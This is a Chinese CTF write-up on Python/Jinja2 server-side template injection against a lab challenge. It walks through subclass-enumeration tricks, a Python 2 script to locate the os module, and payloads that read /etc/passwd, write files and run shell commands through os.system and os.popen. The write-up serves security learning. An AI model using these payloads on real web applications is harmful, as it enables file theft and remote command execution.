python模塊注入-SSTI
- 環境地址:https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=5408&page=1
- 打開頁面(看到python template injection應該是python模塊注入)

- 測驗一下
http://111.200.241.244:61392/{{3*4}}

發現成功運行了結果(當然加法,除法都一樣,主要判斷能不能執行我們的代碼陳述句)
- 在這里我先介紹一下幾種常用于SSTI的魔術方法
__class__ 回傳型別所屬的物件
__mro__ 回傳一個包含物件所繼承的基類元組,方法在決議時按照元組的順序決議,
__base__ 回傳該物件所繼承的基類
// __base__和__mro__都是用來尋找基類的
__subclasses__ 每個新類都保留了子類的參考,這個方法回傳一個類中仍然可用的的參考的串列
__init__ 類的初始化方法
__globals__ 對包含函式全域變數的字典的參考
__builtins__ builtins即是參考,Python程式一旦啟動,它就會在程式員所寫的代碼沒有運行之前就已經被加載到記憶體中了,而對于builtins卻不用匯入,它在任何模塊都直接可見,所以可以直接呼叫參考的模塊
-
獲取基類的幾種方法
[].__class__.__base__ ''.__class__.__mro__[2] ().__class__.__base__ {}.__class__.__base__ request.__class__.__mro__[8] //針對jinjia2/flask為[9]適用 或者 [].__class__.__bases__[0] //其他的類似 -
獲取基本類的子類
[].__class__.__base__.__subclasses__()
- 我們嘗試獲取基類(發現一個為 ‘object’ 的類)

- 我們嘗試基類的子類

SSTI的主要目的就是從這么多子類中找出可以利用的類(一般是指讀寫檔案的類)加以利用
那么我們能利用的類有哪些呢?
我們可以利用的方法有<type 'file'>等,(一般file在第40號)
-
我們嘗試讀取/etc/passwd檔案
{{[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()}}

上面的例子看到我們用 file 讀取了/etc/passwd ,但是如果想要讀取目錄怎么辦
那么我們可以尋找萬能的os模塊(這里可以寫腳本遍歷尋找,也可以自己慢慢數,一般大概71號,或者可以Ctrl+F在網頁搜索 '<' ,因為是從0開始,所以大概第72個就是)
#!/usr/bin/env python
# encoding: utf-8
num = 0
for item in ''.__class__.__mro__[2].__subclasses__():
try:
if 'os' in item.__init__.__globals__:
print num,item
num+=1
except:
print '-'
num+=1
//這是腳本

找到這個對應的編號就對了
-
然后我們直接呼叫就好,可以呼叫system函式,有了shell其他問題就解決了
().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')當然,在某些情況下system函式會被過濾,這時候也可以采用os模塊的 listdir 函式來讀取目錄,(可以配合file來實作檔案讀取)
().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.') #讀取本級目錄另外在某些不得以的情況下可以使用以下方式來讀取檔案,(目前沒見過這種情況)
方法一:
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read() #把 read() 改為 write() 就是寫檔案方法二:
存在的子模塊可以通過.index()方式來查詢
>>>''.__class__.__mro__[2].__subclasses__().index(file) 40 //查詢結果40用file模塊來查詢
>>> [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()
-
以下是非常常用的payload:
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('catfl4g').read() ''.__class__.__mro__[2].__subclasses__() [71].__init__.__globals__['os'].system('ls') ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()
文章參考:
https://www.cnblogs.com/wjw-zm/p/12741047.html
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/288955.html
標籤:其他
下一篇:圖的存盤與遍歷C++實作
